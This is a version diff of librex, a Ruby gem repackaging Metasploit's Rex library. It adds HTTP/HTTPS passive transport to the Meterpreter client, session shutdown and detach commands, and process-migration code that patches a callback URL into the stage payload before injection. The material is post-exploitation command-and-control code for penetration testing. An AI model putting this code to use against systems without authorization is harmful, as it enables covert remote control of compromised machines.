librex 0.0.38 → 0.0.39
Sign up to get free protection for your applications and to get access to all the features.
- data/README.markdown +1 -1
- data/lib/rex/post/meterpreter/channel.rb +6 -5
- data/lib/rex/post/meterpreter/client.rb +77 -32
- data/lib/rex/post/meterpreter/client_core.rb +61 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +19 -18
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +109 -14
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +22 -6
- data/lib/rex/proto/http/packet.rb +1 -1
- metadata +3 -3
data/README.markdown
CHANGED
@@ -3,7 +3,7 @@
|
|
3
3
|
A non-official re-packaging of the Rex library as a gem for easy of usage of the Metasploit REX framework in a non Metasploit application. I received permission from HDM to create this package.
|
4
4
|
|
5
5
|
Currently based on:
|
6
|
-
SVN Revision:
|
6
|
+
SVN Revision: 13058
|
7
7
|
|
8
8
|
# Credits
|
9
9
|
The Metasploit development team <http://www.metasploit.com>
|
@@ -172,7 +172,8 @@ class Channel
|
|
172
172
|
request = Packet.create_request('core_channel_read')
|
173
173
|
|
174
174
|
if (length == nil)
|
175
|
-
|
175
|
+
# Default block size to a higher amount for passive dispatcher
|
176
|
+
length = self.client.passive_service ? (1024*1024) : 65536
|
176
177
|
end
|
177
178
|
|
178
179
|
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
|
@@ -228,12 +229,12 @@ class Channel
|
|
228
229
|
|
229
230
|
# Populate the request
|
230
231
|
request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid)
|
231
|
-
|
232
|
+
|
232
233
|
cdata = request.add_tlv(TLV_TYPE_CHANNEL_DATA, buf)
|
233
234
|
if( ( self.flags & CHANNEL_FLAG_COMPRESS ) == CHANNEL_FLAG_COMPRESS )
|
234
|
-
cdata.compress = true
|
235
|
+
cdata.compress = true
|
235
236
|
end
|
236
|
-
|
237
|
+
|
237
238
|
request.add_tlv(TLV_TYPE_LENGTH, length)
|
238
239
|
request.add_tlvs(addends)
|
239
240
|
|
@@ -285,7 +286,7 @@ class Channel
|
|
285
286
|
|
286
287
|
return true
|
287
288
|
end
|
288
|
-
|
289
|
+
|
289
290
|
def _close(addends = nil)
|
290
291
|
self.class._close(self.client, self.cid, addends)
|
291
292
|
self.cid = nil
|
@@ -45,7 +45,7 @@ class Client
|
|
45
45
|
# Cached SSL certificate (required to scale)
|
46
46
|
#
|
47
47
|
@@ssl_ctx = nil
|
48
|
-
|
48
|
+
|
49
49
|
#
|
50
50
|
# Mutex to synchronize class-wide operations
|
51
51
|
#
|
@@ -89,38 +89,59 @@ class Client
|
|
89
89
|
extension.cleanup if extension.respond_to?( 'cleanup' )
|
90
90
|
end
|
91
91
|
dispatcher_thread.kill if dispatcher_thread
|
92
|
+
core.shutdown rescue nil
|
93
|
+
shutdown_passive_dispatcher
|
92
94
|
end
|
93
95
|
|
94
96
|
#
|
95
97
|
# Initializes the meterpreter client instance
|
96
98
|
#
|
97
99
|
def init_meterpreter(sock,opts={})
|
98
|
-
self.sock
|
99
|
-
self.parser
|
100
|
-
self.ext
|
101
|
-
self.ext_aliases
|
102
|
-
self.alive
|
103
|
-
self.target_id
|
104
|
-
self.capabilities= opts[:capabilities] || {}
|
105
|
-
|
106
|
-
|
100
|
+
self.sock = sock
|
101
|
+
self.parser = PacketParser.new
|
102
|
+
self.ext = ObjectAliases.new
|
103
|
+
self.ext_aliases = ObjectAliases.new
|
104
|
+
self.alive = true
|
105
|
+
self.target_id = opts[:target_id]
|
106
|
+
self.capabilities = opts[:capabilities] || {}
|
107
|
+
|
108
|
+
|
109
|
+
self.conn_id = opts[:conn_id]
|
110
|
+
self.url = opts[:url]
|
111
|
+
self.ssl = opts[:ssl]
|
112
|
+
self.expiration = opts[:expiration]
|
113
|
+
self.comm_timeout = opts[:comm_timeout]
|
114
|
+
self.passive_dispatcher = opts[:passive_dispatcher]
|
115
|
+
|
116
|
+
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
107
117
|
self.send_keepalives = true
|
108
118
|
|
119
|
+
if opts[:passive_dispatcher]
|
120
|
+
initialize_passive_dispatcher
|
109
121
|
|
110
|
-
|
111
|
-
if capabilities[:ssl] and not opts[:skip_ssl]
|
112
|
-
swap_sock_plain_to_ssl()
|
113
|
-
end
|
122
|
+
register_extension_alias('core', ClientCore.new(self))
|
114
123
|
|
115
|
-
|
124
|
+
initialize_inbound_handlers
|
125
|
+
initialize_channels
|
116
126
|
|
117
|
-
|
118
|
-
|
127
|
+
# Register the channel inbound packet handler
|
128
|
+
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
129
|
+
else
|
130
|
+
# Switch the socket to SSL mode and receive the hello if needed
|
131
|
+
if capabilities[:ssl] and not opts[:skip_ssl]
|
132
|
+
swap_sock_plain_to_ssl()
|
133
|
+
end
|
119
134
|
|
120
|
-
|
121
|
-
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
135
|
+
register_extension_alias('core', ClientCore.new(self))
|
122
136
|
|
123
|
-
|
137
|
+
initialize_inbound_handlers
|
138
|
+
initialize_channels
|
139
|
+
|
140
|
+
# Register the channel inbound packet handler
|
141
|
+
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
142
|
+
|
143
|
+
monitor_socket
|
144
|
+
end
|
124
145
|
end
|
125
146
|
|
126
147
|
def swap_sock_plain_to_ssl
|
@@ -138,22 +159,22 @@ class Client
|
|
138
159
|
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
139
160
|
IO::select(nil, nil, nil, 0.10)
|
140
161
|
retry
|
141
|
-
|
142
|
-
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
162
|
+
|
163
|
+
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
143
164
|
rescue ::Exception => e
|
144
165
|
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
145
166
|
IO::select( [ ssl ], nil, nil, 0.10 )
|
146
167
|
retry
|
147
168
|
end
|
148
|
-
|
149
|
-
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
169
|
+
|
170
|
+
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
150
171
|
IO::select( nil, [ ssl ], nil, 0.10 )
|
151
172
|
retry
|
152
173
|
end
|
153
|
-
|
174
|
+
|
154
175
|
raise e
|
155
176
|
end
|
156
|
-
end
|
177
|
+
end
|
157
178
|
|
158
179
|
self.sock.extend(Rex::Socket::SslTcp)
|
159
180
|
self.sock.sslsock = ssl
|
@@ -175,11 +196,11 @@ class Client
|
|
175
196
|
end
|
176
197
|
|
177
198
|
def generate_ssl_context
|
178
|
-
@@ssl_mutex.synchronize do
|
199
|
+
@@ssl_mutex.synchronize do
|
179
200
|
if not @@ssl_ctx
|
180
|
-
|
201
|
+
|
181
202
|
wlog("Generating SSL certificate for Meterpreter sessions")
|
182
|
-
|
203
|
+
|
183
204
|
key = OpenSSL::PKey::RSA.new(1024){ }
|
184
205
|
cert = OpenSSL::X509::Certificate.new
|
185
206
|
cert.version = 2
|
@@ -223,12 +244,12 @@ class Client
|
|
223
244
|
ctx.session_id_context = Rex::Text.rand_text(16)
|
224
245
|
|
225
246
|
wlog("Generated SSL certificate for Meterpreter sessions")
|
226
|
-
|
247
|
+
|
227
248
|
@@ssl_ctx = ctx
|
228
|
-
|
249
|
+
|
229
250
|
end # End of if not @ssl_ctx
|
230
251
|
end # End of mutex.synchronize
|
231
|
-
|
252
|
+
|
232
253
|
@@ssl_ctx
|
233
254
|
end
|
234
255
|
|
@@ -379,6 +400,30 @@ class Client
|
|
379
400
|
# The libraries available to this meterpreter server
|
380
401
|
#
|
381
402
|
attr_accessor :capabilities
|
403
|
+
#
|
404
|
+
# The Connection ID
|
405
|
+
#
|
406
|
+
attr_accessor :conn_id
|
407
|
+
#
|
408
|
+
# The Connect URL
|
409
|
+
#
|
410
|
+
attr_accessor :url
|
411
|
+
#
|
412
|
+
# Use SSL (HTTPS)
|
413
|
+
#
|
414
|
+
attr_accessor :ssl
|
415
|
+
#
|
416
|
+
# The Session Expiration Timeout
|
417
|
+
#
|
418
|
+
attr_accessor :expiration
|
419
|
+
#
|
420
|
+
# The Communication Timeout
|
421
|
+
#
|
422
|
+
attr_accessor :comm_timeout
|
423
|
+
#
|
424
|
+
# The Passive Dispatcher
|
425
|
+
#
|
426
|
+
attr_accessor :passive_dispatcher
|
382
427
|
|
383
428
|
protected
|
384
429
|
attr_accessor :parser, :ext_aliases # :nodoc:
|
@@ -184,7 +184,7 @@ class ClientCore < Extension
|
|
184
184
|
|
185
185
|
# We cant migrate into a process that does not exist.
|
186
186
|
if( process == nil )
|
187
|
-
raise RuntimeError, "Cannot migrate into non
|
187
|
+
raise RuntimeError, "Cannot migrate into non existent process", caller
|
188
188
|
end
|
189
189
|
|
190
190
|
# We cant migrate into a process that we are unable to open
|
@@ -216,13 +216,42 @@ class ClientCore < Extension
|
|
216
216
|
migrate_stager = c.new()
|
217
217
|
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
218
218
|
|
219
|
-
|
219
|
+
blob = migrate_stager.stage_payload
|
220
|
+
|
221
|
+
if client.passive_service
|
222
|
+
|
223
|
+
# Replace the transport string first (TRANSPORT_SOCKET_SSL
|
224
|
+
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
225
|
+
if i
|
226
|
+
str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
227
|
+
blob[i, str.length] = str
|
228
|
+
end
|
229
|
+
|
230
|
+
conn_id = self.client.conn_id
|
231
|
+
i = blob.index("https://" + ("X" * 256))
|
232
|
+
if i
|
233
|
+
str = self.client.url
|
234
|
+
blob[i, str.length] = str
|
235
|
+
end
|
236
|
+
|
237
|
+
i = blob.index([0xb64be661].pack("V"))
|
238
|
+
if i
|
239
|
+
str = [ self.client.expiration ].pack("V")
|
240
|
+
blob[i, str.length] = str
|
241
|
+
end
|
242
|
+
|
243
|
+
i = blob.index([0xaf79257f].pack("V"))
|
244
|
+
if i
|
245
|
+
str = [ self.client.comm_timeout ].pack("V")
|
246
|
+
blob[i, str.length] = str
|
247
|
+
end
|
248
|
+
end
|
220
249
|
|
221
250
|
# Build the migration request
|
222
251
|
request = Packet.create_request( 'core_migrate' )
|
223
252
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
224
|
-
request.add_tlv( TLV_TYPE_MIGRATE_LEN,
|
225
|
-
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD,
|
253
|
+
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
254
|
+
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
226
255
|
if( process['arch'] == ARCH_X86_64 )
|
227
256
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
228
257
|
else
|
@@ -232,19 +261,28 @@ class ClientCore < Extension
|
|
232
261
|
# Send the migration request (bump up the timeout to 60 seconds)
|
233
262
|
response = client.send_request( request, 60 )
|
234
263
|
|
235
|
-
|
236
|
-
|
264
|
+
if client.passive_service
|
265
|
+
# Sleep for 5 seconds to allow the full handoff, this prevents
|
266
|
+
# the original process from stealing our loadlib requests
|
267
|
+
::IO.select(nil, nil, nil, 5.0)
|
268
|
+
else
|
269
|
+
# Prevent new commands from being sent while we finish migrating
|
270
|
+
client.comm_mutex.synchronize do
|
271
|
+
# Disable the socket request monitor
|
272
|
+
client.monitor_stop
|
237
273
|
|
238
|
-
|
239
|
-
|
240
|
-
|
274
|
+
###
|
275
|
+
# Now communicating with the new process
|
276
|
+
###
|
241
277
|
|
242
|
-
|
243
|
-
|
244
|
-
|
278
|
+
# Renegotiate SSL over this socket
|
279
|
+
client.swap_sock_ssl_to_plain()
|
280
|
+
client.swap_sock_plain_to_ssl()
|
245
281
|
|
246
|
-
|
247
|
-
|
282
|
+
# Restart the socket monitor
|
283
|
+
client.monitor_socket
|
284
|
+
end
|
285
|
+
end
|
248
286
|
|
249
287
|
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
|
250
288
|
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
|
@@ -268,6 +306,15 @@ class ClientCore < Extension
|
|
268
306
|
return true
|
269
307
|
end
|
270
308
|
|
309
|
+
#
|
310
|
+
# Shuts the session down
|
311
|
+
#
|
312
|
+
def shutdown
|
313
|
+
request = Packet.create_request('core_shutdown')
|
314
|
+
response = self.client.send_packet_wait_response(request, 15)
|
315
|
+
true
|
316
|
+
end
|
317
|
+
|
271
318
|
end
|
272
319
|
|
273
320
|
end; end; end
|
@@ -27,27 +27,27 @@ SEPARATOR = "\\"
|
|
27
27
|
Separator = "\\"
|
28
28
|
|
29
29
|
include Rex::Post::File
|
30
|
-
|
30
|
+
|
31
31
|
class << self
|
32
32
|
attr_accessor :client
|
33
33
|
end
|
34
|
-
|
34
|
+
|
35
35
|
#
|
36
36
|
# Search for files.
|
37
37
|
#
|
38
38
|
def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 )
|
39
|
-
|
39
|
+
|
40
40
|
files = ::Array.new
|
41
|
-
|
41
|
+
|
42
42
|
request = Packet.create_request( 'stdapi_fs_search' )
|
43
43
|
|
44
44
|
root = root.chomp( '\\' ) if root
|
45
|
-
|
45
|
+
|
46
46
|
request.add_tlv( TLV_TYPE_SEARCH_ROOT, root )
|
47
47
|
request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob )
|
48
48
|
request.add_tlv( TLV_TYPE_SEARCH_RECURSE, recurse )
|
49
49
|
|
50
|
-
# we set the response timeout to -1 to wait indefinatly as a
|
50
|
+
# we set the response timeout to -1 to wait indefinatly as a
|
51
51
|
# search could take an indeterminate ammount of time to complete.
|
52
52
|
response = client.send_request( request, timeout )
|
53
53
|
if( response.result == 0 )
|
@@ -59,10 +59,10 @@ Separator = "\\"
|
|
59
59
|
}
|
60
60
|
end
|
61
61
|
end
|
62
|
-
|
62
|
+
|
63
63
|
return files
|
64
64
|
end
|
65
|
-
|
65
|
+
|
66
66
|
#
|
67
67
|
# Returns the base name of the supplied file path to the caller.
|
68
68
|
#
|
@@ -86,7 +86,7 @@ Separator = "\\"
|
|
86
86
|
request.add_tlv(TLV_TYPE_FILE_PATH, path)
|
87
87
|
|
88
88
|
response = client.send_request(request)
|
89
|
-
|
89
|
+
|
90
90
|
return response.get_tlv_value(TLV_TYPE_FILE_PATH)
|
91
91
|
end
|
92
92
|
|
@@ -104,27 +104,27 @@ Separator = "\\"
|
|
104
104
|
r = client.fs.filestat.new(name) rescue nil
|
105
105
|
r ? true : false
|
106
106
|
end
|
107
|
-
|
107
|
+
|
108
108
|
#
|
109
109
|
# Performs a delete on the specified file.
|
110
110
|
#
|
111
|
-
def File.rm(name)
|
111
|
+
def File.rm(name)
|
112
112
|
request = Packet.create_request('stdapi_fs_delete_file')
|
113
113
|
|
114
114
|
request.add_tlv(TLV_TYPE_FILE_PATH,name)
|
115
115
|
|
116
116
|
response = client.send_request(request)
|
117
|
-
|
117
|
+
|
118
118
|
return response
|
119
119
|
end
|
120
|
-
|
120
|
+
|
121
121
|
#
|
122
122
|
# Performs a delete on the specified file.
|
123
123
|
#
|
124
124
|
def File.unlink(name)
|
125
125
|
return File.rm(name)
|
126
|
-
end
|
127
|
-
|
126
|
+
end
|
127
|
+
|
128
128
|
#
|
129
129
|
# Upload one or more files to the remote computer the remote
|
130
130
|
# directory supplied in destination.
|
@@ -151,7 +151,7 @@ Separator = "\\"
|
|
151
151
|
# all of the contents of the local file
|
152
152
|
dest_fd = client.fs.file.new(dest_file, "wb")
|
153
153
|
src_buf = ''
|
154
|
-
|
154
|
+
|
155
155
|
::File.open(src_file, 'rb') { |f|
|
156
156
|
src_buf = f.read(f.stat.size)
|
157
157
|
}
|
@@ -164,7 +164,7 @@ Separator = "\\"
|
|
164
164
|
end
|
165
165
|
|
166
166
|
#
|
167
|
-
# Download one or more files from the remote computer to the local
|
167
|
+
# Download one or more files from the remote computer to the local
|
168
168
|
# directory supplied in destination.
|
169
169
|
#
|
170
170
|
def File.download(destination, *src_files, &stat)
|
@@ -178,7 +178,7 @@ Separator = "\\"
|
|
178
178
|
end
|
179
179
|
|
180
180
|
download_file(dest, src)
|
181
|
-
|
181
|
+
|
182
182
|
stat.call('downloaded', src, dest) if (stat)
|
183
183
|
}
|
184
184
|
end
|
@@ -272,3 +272,4 @@ protected
|
|
272
272
|
end
|
273
273
|
|
274
274
|
end; end; end; end; end; end
|
275
|
+
|
@@ -29,9 +29,9 @@ class RequestError < ArgumentError
|
|
29
29
|
|
30
30
|
# The error result that occurred, typically a windows error message.
|
31
31
|
attr_reader :result
|
32
|
-
|
32
|
+
|
33
33
|
# The error result that occurred, typically a windows error code.
|
34
|
-
attr_reader :code
|
34
|
+
attr_reader :code
|
35
35
|
end
|
36
36
|
|
37
37
|
###
|
@@ -44,6 +44,84 @@ module PacketDispatcher
|
|
44
44
|
|
45
45
|
PacketTimeout = 600
|
46
46
|
|
47
|
+
##
|
48
|
+
#
|
49
|
+
# Synchronization
|
50
|
+
#
|
51
|
+
##
|
52
|
+
attr_accessor :comm_mutex
|
53
|
+
|
54
|
+
|
55
|
+
##
|
56
|
+
#
|
57
|
+
#
|
58
|
+
# Passive Dispatching
|
59
|
+
#
|
60
|
+
##
|
61
|
+
attr_accessor :passive_service, :send_queue, :recv_queue
|
62
|
+
|
63
|
+
def initialize_passive_dispatcher
|
64
|
+
self.send_queue = []
|
65
|
+
self.recv_queue = []
|
66
|
+
self.waiters = []
|
67
|
+
self.alive = true
|
68
|
+
|
69
|
+
self.passive_service = self.passive_dispatcher
|
70
|
+
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
71
|
+
self.passive_service.add_resource("/" + self.conn_id + "/",
|
72
|
+
'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
|
73
|
+
'VirtualDirectory' => true
|
74
|
+
)
|
75
|
+
end
|
76
|
+
|
77
|
+
def shutdown_passive_dispatcher
|
78
|
+
return if not self.passive_service
|
79
|
+
self.passive_service.remove_resource("/" + self.conn_id + "/")
|
80
|
+
|
81
|
+
self.alive = false
|
82
|
+
self.send_queue = []
|
83
|
+
self.recv_queue = []
|
84
|
+
self.waiters = []
|
85
|
+
|
86
|
+
self.passive_service = nil
|
87
|
+
end
|
88
|
+
|
89
|
+
def on_passive_request(cli, req)
|
90
|
+
|
91
|
+
begin
|
92
|
+
|
93
|
+
resp = Rex::Proto::Http::Response.new(200, "OK")
|
94
|
+
resp['Content-Type'] = 'application/octet-stream'
|
95
|
+
resp['Connection'] = 'close'
|
96
|
+
|
97
|
+
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
98
|
+
if req.body[0,4] == "RECV"
|
99
|
+
rpkt = send_queue.pop
|
100
|
+
resp.body = rpkt || ''
|
101
|
+
begin
|
102
|
+
cli.send_response(resp)
|
103
|
+
rescue ::Exception => e
|
104
|
+
send_queue.unshift(rpkt) if rpkt
|
105
|
+
elog("Exception sending a reply to the reader request: #{cli.inspect} #{e.class} #{e} #{e.backtrace}")
|
106
|
+
end
|
107
|
+
else
|
108
|
+
resp.body = ""
|
109
|
+
if req.body and req.body.length > 0
|
110
|
+
packet = Packet.new(0)
|
111
|
+
packet.from_r(req.body)
|
112
|
+
dispatch_inbound_packet(packet)
|
113
|
+
end
|
114
|
+
cli.send_response(resp)
|
115
|
+
end
|
116
|
+
|
117
|
+
# Force a closure for older WinInet implementations
|
118
|
+
self.passive_service.close_client( cli )
|
119
|
+
|
120
|
+
rescue ::Exception => e
|
121
|
+
elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}")
|
122
|
+
end
|
123
|
+
end
|
124
|
+
|
47
125
|
##
|
48
126
|
#
|
49
127
|
# Transmission
|
@@ -62,23 +140,34 @@ module PacketDispatcher
|
|
62
140
|
raw = packet.to_r
|
63
141
|
err = nil
|
64
142
|
|
143
|
+
# Short-circuit send when using a passive dispatcher
|
144
|
+
if self.passive_service
|
145
|
+
send_queue.push(raw)
|
146
|
+
return raw.size # Lie!
|
147
|
+
end
|
148
|
+
|
65
149
|
if (raw)
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
150
|
+
|
151
|
+
# This mutex is used to lock out new commands during an
|
152
|
+
# active migration.
|
153
|
+
|
154
|
+
self.comm_mutex.synchronize do
|
155
|
+
begin
|
156
|
+
bytes = self.sock.write(raw)
|
157
|
+
rescue ::Exception => e
|
158
|
+
err = e
|
159
|
+
end
|
71
160
|
end
|
72
|
-
|
161
|
+
|
73
162
|
if bytes.to_i == 0
|
74
163
|
# Mark the session itself as dead
|
75
164
|
self.alive = false
|
76
|
-
|
165
|
+
|
77
166
|
# Indicate that the dispatcher should shut down too
|
78
167
|
@finish = true
|
79
|
-
|
168
|
+
|
80
169
|
# Reraise the error to the top-level caller
|
81
|
-
raise err if err
|
170
|
+
raise err if err
|
82
171
|
end
|
83
172
|
end
|
84
173
|
|
@@ -89,12 +178,12 @@ module PacketDispatcher
|
|
89
178
|
# Sends a packet and waits for a timeout for the given time interval.
|
90
179
|
#
|
91
180
|
def send_request(packet, t = self.response_timeout)
|
92
|
-
|
181
|
+
|
93
182
|
if not t
|
94
183
|
send_packet(packet)
|
95
184
|
return nil
|
96
185
|
end
|
97
|
-
|
186
|
+
|
98
187
|
response = send_packet_wait_response(packet, t)
|
99
188
|
|
100
189
|
if (response == nil)
|
@@ -146,6 +235,12 @@ module PacketDispatcher
|
|
146
235
|
# thread context and parsers all inbound packets.
|
147
236
|
#
|
148
237
|
def monitor_socket
|
238
|
+
|
239
|
+
# Skip if we are using a passive dispatcher
|
240
|
+
return if self.passive_service
|
241
|
+
|
242
|
+
self.comm_mutex = ::Mutex.new
|
243
|
+
|
149
244
|
self.waiters = []
|
150
245
|
|
151
246
|
@pqueue = []
|
@@ -303,6 +398,7 @@ module PacketDispatcher
|
|
303
398
|
self.receiver_thread.kill
|
304
399
|
self.receiver_thread = nil
|
305
400
|
end
|
401
|
+
|
306
402
|
if(self.dispatcher_thread)
|
307
403
|
self.dispatcher_thread.kill
|
308
404
|
self.dispatcher_thread = nil
|
@@ -385,7 +481,6 @@ module PacketDispatcher
|
|
385
481
|
end
|
386
482
|
end
|
387
483
|
|
388
|
-
|
389
484
|
# Enumerate all of the inbound packet handlers until one handles
|
390
485
|
# the packet
|
391
486
|
@inbound_handlers.each { |handler|
|
@@ -43,6 +43,7 @@ class Console::CommandDispatcher::Core
|
|
43
43
|
"close" => "Closes a channel",
|
44
44
|
"channel" => "Displays information about active channels",
|
45
45
|
"exit" => "Terminate the meterpreter session",
|
46
|
+
"detach" => "Detach the meterpreter session (for http/https)",
|
46
47
|
"help" => "Help menu",
|
47
48
|
"interact" => "Interacts with a channel",
|
48
49
|
"irb" => "Drop into irb scripting mode",
|
@@ -204,11 +205,26 @@ class Console::CommandDispatcher::Core
|
|
204
205
|
# Terminates the meterpreter session.
|
205
206
|
#
|
206
207
|
def cmd_exit(*args)
|
208
|
+
print_status("Shutting down Meterpreter...")
|
209
|
+
client.core.shutdown rescue nil
|
210
|
+
client.shutdown_passive_dispatcher
|
207
211
|
shell.stop
|
208
212
|
end
|
209
213
|
|
210
214
|
alias cmd_quit cmd_exit
|
211
215
|
|
216
|
+
#
|
217
|
+
# Disconnects the session
|
218
|
+
#
|
219
|
+
def cmd_detach(*args)
|
220
|
+
if not client.passive_service
|
221
|
+
print_error("Detach is only possible for non-stream sessions (http/https)")
|
222
|
+
return
|
223
|
+
end
|
224
|
+
client.shutdown_passive_dispatcher
|
225
|
+
shell.stop
|
226
|
+
end
|
227
|
+
|
212
228
|
#
|
213
229
|
# Interacts with a channel.
|
214
230
|
#
|
@@ -385,11 +401,11 @@ class Console::CommandDispatcher::Core
|
|
385
401
|
|
386
402
|
def cmd_run_help
|
387
403
|
print_line "Usage: run <script> [arguments]"
|
388
|
-
print_line
|
404
|
+
print_line
|
389
405
|
print_line "Executes a ruby script or Metasploit Post module in the context of the"
|
390
406
|
print_line "meterpreter session. Post modules can take arguments in var=val format."
|
391
407
|
print_line "Example: run post/foo/bar BAZ=abcd"
|
392
|
-
print_line
|
408
|
+
print_line
|
393
409
|
end
|
394
410
|
|
395
411
|
#
|
@@ -535,7 +551,7 @@ class Console::CommandDispatcher::Core
|
|
535
551
|
end
|
536
552
|
|
537
553
|
#
|
538
|
-
# Show info for a given Post module.
|
554
|
+
# Show info for a given Post module.
|
539
555
|
#
|
540
556
|
# See also +cmd_info+ in lib/msf/ui/console/command_dispatcher/core.rb
|
541
557
|
#
|
@@ -546,10 +562,10 @@ class Console::CommandDispatcher::Core
|
|
546
562
|
cmd_info_help
|
547
563
|
return
|
548
564
|
end
|
549
|
-
|
565
|
+
|
550
566
|
module_name = args.shift
|
551
567
|
mod = client.framework.modules.create(module_name);
|
552
|
-
|
568
|
+
|
553
569
|
if mod.nil?
|
554
570
|
print_error 'Invalid module: ' << module_name
|
555
571
|
end
|
@@ -655,7 +671,7 @@ class Console::CommandDispatcher::Core
|
|
655
671
|
|
656
672
|
tab_complete_filenames(str, words)
|
657
673
|
end
|
658
|
-
|
674
|
+
|
659
675
|
def cmd_resource(*args)
|
660
676
|
if args.empty?
|
661
677
|
print(
|
metadata
CHANGED
@@ -2,7 +2,7 @@
|
|
2
2
|
name: librex
|
3
3
|
version: !ruby/object:Gem::Version
|
4
4
|
prerelease:
|
5
|
-
version: 0.0.
|
5
|
+
version: 0.0.39
|
6
6
|
platform: ruby
|
7
7
|
authors:
|
8
8
|
- Metasploit Development Team
|
@@ -11,11 +11,11 @@ autorequire:
|
|
11
11
|
bindir: bin
|
12
12
|
cert_chain: []
|
13
13
|
|
14
|
-
date: 2011-06-
|
14
|
+
date: 2011-06-28 00:00:00 -05:00
|
15
15
|
default_executable:
|
16
16
|
dependencies: []
|
17
17
|
|
18
|
-
description: Rex provides a variety of classes useful for security testing and exploit development. Based on SVN Revision
|
18
|
+
description: Rex provides a variety of classes useful for security testing and exploit development. Based on SVN Revision 13058
|
19
19
|
email:
|
20
20
|
- hdm@metasploit.com
|
21
21
|
- jacob.hammack@hammackj.com
|